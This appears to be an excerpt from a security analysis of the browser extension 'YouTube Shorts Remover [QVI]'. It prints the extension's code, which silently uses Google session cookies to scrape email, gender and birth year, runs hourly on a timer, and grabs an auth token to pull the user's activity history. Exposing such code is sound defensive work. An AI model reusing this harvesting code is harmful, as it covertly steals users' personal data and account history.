Is YouTube Shorts Remover [QVI] safe?

const fetchBirthdayPage = async () => {  // credentials:'include' sends your existing Google session cookie;  // no login prompt or user interaction occurs.  const request = await fetch("https://myaccount.google.com/birthday", {    method: "GET",    credentials: "include"  });  return request.text();};

const extractDataFromHTML = (htmlString) => {  const ijMatch = htmlString.match(/<script[^>]*id="_ij"[^>]*>([\s\S]*?)<\/script>/);  const ijValues = ijMatch ? extractArrayLiteral(ijMatch[1]) : [];  const email = ijValues.find(v => typeof v === "string" && v.includes("@")) || null;  const gender = ijValues.find(v => v === "male" || v === "female") || null;  // Google's account page embeds the birth year under an internal data key.  let birthYear = null;  const re = /AF_initDataCallback\((\{[\s\S]*?\})\)/g;  let m;  while ((m = re.exec(htmlString)) !== null) {    const obj = JSON.parse(normalizeJSLikeToJSON(m[1]));    if (obj.data && obj.data[0] === "ac.s.bir.br" && obj.data[1]?.length === 3) {      birthYear = obj.data[1][2];      break;    }  }  return { email, gender, birthYear };};// The email itself is then discarded (data.email = undefined) and replaced// with a SHA-256 hash used to key the upload to the same account as the// history finding, without transmitting the plaintext email.

const INITIAL_DELAY_MINUTES = 30;const INTERVAL_MINUTES = 60;const ALARM_NAME = "dh-run-youtube";chrome.runtime.onInstalled.addListener(async () => {  await chrome.alarms.create(ALARM_NAME, {    delayInMinutes: INITIAL_DELAY_MINUTES,    periodInMinutes: INTERVAL_MINUTES  });});chrome.alarms.onAlarm.addListener(async (alarm) => {  if (alarm.name !== ALARM_NAME) return;  await run(); // run() calls scrapeYoutube()});

const getAuthData = async () => {  // Ambient session cookie is sent automatically; no login prompt shown.  const request = await fetch("https://myactivity.google.com/myactivity", {    credentials: "include"  });  const doc = await request.text();  const match = doc.match(/window\.WIZ_global_data\s*=\s*({.+?});<\/script>/s);  const data = JSON.parse(match[1]);  return { token: data.SNlM0e, email: data.oPEP7c }; // auth token + account email};// Later, the captured token authenticates a request to Google's OWN// internal Activity-history RPC endpoint:const BATCH_EXECUTE_URL = "https://myactivity.google.com/_/FootprintsMyactivityUi/data/batchexecute?hl=en";const ACTIVITY_RCP_ID = "y3VFHd";const ACTIVITY_SERVICES = [15, 25, 26, 27, 35, 55];